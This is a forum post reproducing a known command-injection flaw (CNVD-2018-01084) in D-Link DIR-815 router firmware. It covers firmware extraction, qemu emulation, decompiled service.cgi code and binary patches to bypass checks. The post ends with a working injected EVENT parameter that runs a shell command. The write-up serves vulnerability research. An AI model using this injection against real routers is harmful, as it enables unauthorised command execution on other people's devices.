-
-
[原创] CNVD-2018-01084 漏洞复现
-
发表于: 2024-3-19 15:57 3613
-
Tldr
Vulnerability Code:
- CNVD-2018-01084
- AVD-2021-908830
Tag: #Vulnerability-reprodution
Attachments: ![[DIR815A1_FW103b01.bin]]
References:
⚠️ Affected: D-Link DIR 615/645/815 V1.03&pre
2024-03-17 | 21:52
1.Firmware Extracting
1 2 3 4 5 6 7 8 9 | ┌──(root㉿W1sh)-[~ /leamov/CNVD-2018-01084 ] └─ # binwalk -Me DIR815A1_FW103b01.bin --run-as=root Scan Time: 2024-03-17 22:04:11 Target File: /root/leamov/CNVD-2018-01084/DIR815A1_FW103b01 .bin MD5 Checksum: b651c106598bad6dbc9c4ae7c3d39f62 Signatures: 411 ... |
Now get file system
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | ┌──(root㉿W1sh)-[~ /leamov/CNVD-2018-01084/bin/squashfs-root ] └─ # tree -L 1 . ├── bin ├── dev ├── etc ├── home ├── htdocs ├── lib ├── mnt ├── proc ├── sbin ├── sys ├── tmp -> /dev/null ├── usr ├── var └── www 14 directories, 1 file ┌──(root㉿W1sh)-[~ /leamov/CNVD-2018-01084/bin/squashfs-root/htdocs ] └─ # tree -L 1 . ├── cgibin ├── HNAP1 ├── neap ├── phplib ├── smart404 ├── upnp ├── upnpdevdesc ├── upnpinc ├── web ├── webinc └── widget 11 directories, 1 file |
2.Analysis
Accroding to the description of vulnerability provided by AVD.This vulnherability stems from service.cgi
concatenating data from http post request,resulting in concatenation of backend commands and allow for arbitray command execution.
2.1 Chcek binary file
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | ┌──(root㉿W1sh)-[~ /leamov/CNVD-2018-01084/bin/squashfs-root/htdocs ] └─ # readelf -h cgibin ELF Header: Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 Class: ELF32 Data: 2's complement, little endian Version: 1 (current) OS /ABI : UNIX - System V ABI Version: 0 Type: EXEC (Executable file ) Machine: MIPS R3000 Version: 0x1 Entry point address: 0x402230 Start of program headers: 52 (bytes into file ) Start of section headers: 128256 (bytes into file ) Flags: 0x50001007, noreorder, pic, cpic, o32, mips32 Size of this header: 52 (bytes) Size of program headers: 32 (bytes) Number of program headers: 8 Size of section headers: 40 (bytes) Number of section headers: 29 Section header string table index: 28 ┌──(root㉿W1sh)-[~ /leamov/CNVD-2018-01084/bin/squashfs-root/htdocs ] └─ # checksec cgibin [*] '/root/leamov/CNVD-2018-01084/_DIR815A1_FW103b01.bin.extracted/squashfs-root/htdocs/cgibin' Arch: mips-32-little RELRO: No RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments |
Prog's arch is mipsel-32.Try run with qemu-mipsel-static
.Use chroot .
to change current command root directory.
1 2 3 | ┌──(root㉿W1sh)-[~ /leamov/CNVD-2018-01084/bin/squashfs-root ] └─ # chroot . ./qemu-mipsel-static htdocs/cgibin CGI.BIN, unknown command cgibin |
2.1.1 main()
cgibin out put content unknown command cgibin
.Check out pseudocode in IDA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | int __cdecl main( int argc, const char **argv, const char **envp) { if ( ! strcmp (v3, "phpcgi" ) ) { v8 = ( void (__noreturn *)())phpcgi_main; v9 = argc; return (( int (__fastcall *)( int , const char **, const char **))v8)(v9, argv, envp); } if ( ! strcmp (v3, "dlcfg.cgi" ) ) { v8 = ( void (__noreturn *)())dlcfg_main; v9 = argc; return (( int (__fastcall *)( int , const char **, const char **))v8)(v9, argv, envp); } ... if ( ! strcmp (v3, "service.cgi" ) ) { v8 = ( void (__noreturn *)())&servicecgi_main; v9 = argc; return (( int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp); } ... printf ( "CGI.BIN, unknown command %s\n" , v3); return 1; } |
Now use parameter -0
to appoint first argument as "service.cgi"
1 2 3 4 5 6 7 8 9 10 | ┌──(root㉿W1sh)-[~ /leamov/CNVD-2018-01084/bin/squashfs-root ] └─ # chroot . ./qemu-mipsel-static -0 "service.cgi" htdocs/cgibin HTTP /1 .1 200 OK Content-Type: text /xml <?xml version= "1.0" encoding= "utf-8" ?> <report> <result>FAILED< /result > <message>No HTTP request< /message > < /report > |
2.1.2 servicecgi_main()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 | int servicecgi_main() { memset (message, 0, 0x100u); method = getenv ( "REQUEST_METHOD" ); if (method) { if (!strcasecmp(method, "POST" )) { maxContentLength = 1024; } //... if (cgibin_parse_request(sub_40A63C, 0, maxContentLength) < 0) { errorMsg = "Unable to parse HTTP request" ; //... } if (!sess_ispoweruser()) { errorMsg = "Not authorized" ; //... } event = sub_40A1C0( "EVENT" ); action = ( const char *)sub_40A1C0( "ACTION" ); service = sub_40A1C0( "SERVICE" ); if (event) { commandStr = "event %s > /dev/null" ; } else { //... if (!strcasecmp(action, "START" )) { commandStr = "service %s start > /dev/null" ; } else if (!strcasecmp(action, "STOP" )) { commandStr = "service %s stop > /dev/null" ; } else { if (strcasecmp(action, "RESTART" )) { snprintf(message, 0x100u, "Unknown action - '%s'" , action); //... } commandStr = "service %s restart > /dev/null" ; } } lxmldbc_system(commandStr); //... } else { snprintf(message, 0x100u, "No HTTP request" ); resultCode = -1; } puts ( "HTTP/1.1 200 OK\r\nContent-Type: text/xml\r\n\r" ); puts ( "<?xml version=\"1.0\" encoding=\"utf-8\"?>" ); puts ( "<report>" ); if (resultCode) resultStatus = "FAILED" ; else resultStatus = "OK" ; printf ( "\t<result>%s</result>\n" , resultStatus); printf ( "\t<message>%s</message>\n" , message); puts ( "</report>" ); cgibin_clean_tempfiles(); while (1) { //... } return result; } |
Based on the pseudocode above.We found a critical function call lxmldbc_system()
2.1.3 lxmldbc_system
1 2 3 4 5 6 | int lxmldbc_system( char *format, int a2, int a3, int a4, int a5, ...) { char commandBuf[1028]; // [sp+1Ch] [-404h] BYREF vsnprintf(commandBuf, 0x400u, format, args); return system (commandBuf); } |
Accroding to the pseudocode of servicecgi_main
we know that parameter args
able to manipulate.Now try execute cgibin use the following parameters
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | ┌──(root㉿W1sh)-[~ /leamov/CNVD-2018-01084/bin/root ] └─ # chroot . ./qemu-mipsel-static -g 6665 \ -0 "service.cgi" \ -E REQUEST_METHOD=POST \ -E CONTENT_TYPE=application /x-www-form-urlencoded \ -E CONTENT_LENGTH=10 -E REQUEST_URI=/?EVENT=%26ls&26 htdocs /cgibin HTTP /1 .1 200 OK Content-Type: text /xml <?xml version= "1.0" encoding= "utf-8" ?> <report> <result>FAILED< /result > <message>Unable to parse HTTP request< /message > < /report > |
Some error occur.After debugging and look up some blogs know that is qemu's user enviroment led to this error.There has two place need to patches.
One is return value of cgibin_parse_request()
and another is sess_ispoweruser()
.
The second one need to patches because it need to open and read /var/session/sesscfg
but qemu's enviroment doesn't have it.
As for the first one.I haven't seen any explain form blogs.Accroding to debugging,clearly function cgibin_parse_request
return by the following expression
1 2 3 4 5 | return (( int (__fastcall *)( int , int , unsigned int , char *))(&::application)[3 * v16 - 1])( arg1, arg2, length, &contentType[audio]); |
This function check content type which after application/
.Only x-www-form-urlencoded
supported.If match then will read data from stdin
.Details about how cgi get post data please check the third reference post CGI.
The following pseudocode show that why Unable to parse HTTP request
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | sets.__fds_bits[0] |= 1u; timeout.tv_usec = 0; timeout.tv_sec = 5; selectResult = select(1, &sets, 0, 0, &timeout); //Timeout return 0 returnCode = selectResult; if ( selectResult >= 0 ) { if ( !selectResult ) //Without post data returnCode = -1; break ; bufLength = contentLength; if ( contentLength >= 0x401 ) bufLength = 0x400; v8 = read(0, pSets, bufLength); //... |
2.2 Patch binary file
First we' found
1 | if ( cgibin_parse_request(( int )sub_40A63C, 0, contentLength) < 0 ) |
It's opcode and assembly looks like that
10 00 41 04 bgez $v0, checkPowerUser
Accroding to the MIPS CPU instruction set manual.We know that bgez
's opcode is 000001
and blez
's opcode is 000110
.And cgibin
use little endian
so actually opcode as 0x04410010
as binary is 0000 0100 0100 0001 0000 0000 0001 0000
My ida version don't support edit mips assembly directly so I have to change byte to 0001 1000 0100 0001 0000 0000 0001 0000
by my hand
0000 0100 0100 0001 0000 0000 0001 0000 ↓ ↓↓ 0001 1000 0100 0001 0000 0000 0001 0000
And now we get
10 00 41 18 blez $v0, checkPowerUser
But when this instruction were executed.it was crash and we get
1 2 | qemu: uncaught target signal 4 (Illegal instruction) - core dumped Illegal instruction |
Then I recover this patch and Then make the following change
10 00 41 14 bgez checkPowerUser ↓↓ ↓ ↓↓↓↓ 10 00 00 10 b checkPowerUser
And the same to patch pass session validate.After that now run it again
1 2 3 4 5 6 7 8 9 10 | ┌──(root㉿W1sh)-[~ /leamov/CNVD-2018-01084/bin/root ] └─ # chroot . ./qemu-mipsel-static -0 service.cgi -E REQUEST_METHOD=POST -E CONTENT_TYPE=application/x-www-form-urlencoded -E CONTENT_LENGTH=10 -E REQUEST_URI=/?Hi htdocs/cgibin-patches HTTP /1 .1 200 OK Content-Type: text /xml <?xml version= "1.0" encoding= "utf-8" ?> <report> <result>OK< /result > <message>< /message > < /report > |
Patch successful
And this is current execution result
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | ┌──(root㉿W1sh)-[~ /leamov/CNVD-2018-01084/bin/root ] └─ # chroot . ./qemu-mipsel-static -0 service.cgi -E REQUEST_METHOD=POST -E CONTENT_TYPE=application/x-www-form-urlencoded -E CONTENT_LENGTH=10 -E REQUEST_URI=/?EVENT=%26ls%26 -g 6665 htdocs/cgibin-patches Usage: event {NAME} {ACTION} [OPTIONS] event XXX add {HANDLER} event XXX insert {TAG:HANDLER} event XXX remove {TAG} event XXX flush event XXX dump event XXX kill event XXX event dump qemu-mipsel-static htdocs sbin dev qemu-system-mipsel tmp var home qemu-mipsel mnt proc lib etc sys www usr bin HTTP /1 .1 200 OK Content-Type: text /xml <?xml version= "1.0" encoding= "utf-8" ?> <report> <result>OK< /result > <message>< /message > < /report > |
3.Reflection
3.1 Exploit chain
main()
: Fetch cgi functionservicecgi_main()
- Check env
REQUEST_METHOD
cgibin_parse_request()
- Check env
CONTENT_TYPE
- Check env
CONTENT_LENGTH
- Check env
REQUEST_URI
- Match env content
x-www-form-urlencoded
select()
read user request data (may patch required)
- Check env
- Check env
sess_ispoweruser()
(patch required)40A1C0()
(urldecode and get parameters)- Fetch
EVENT
from uri - Fetch
ACTION
from uri - Fetch
SERVICE
from uri
- Fetch
lxmldbc_system()
system("..."+"EVENT"+"...")
3.2 Q&A
3.2.1 Why patch cgibin_parse_request()
not necessary
There are two cases to determine whether patching is necessary.Based on the analysis above we know that Unable to parse HTTP request case by select()
return timeout.It wait user input for 5 seconds.That's why it looks like “stuck" when I execute it without input.
However when I input content and make it's length be equal or greater than CONTEN_LENGTH
.cgibin_parse_request()
will finnaly return 1
.
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)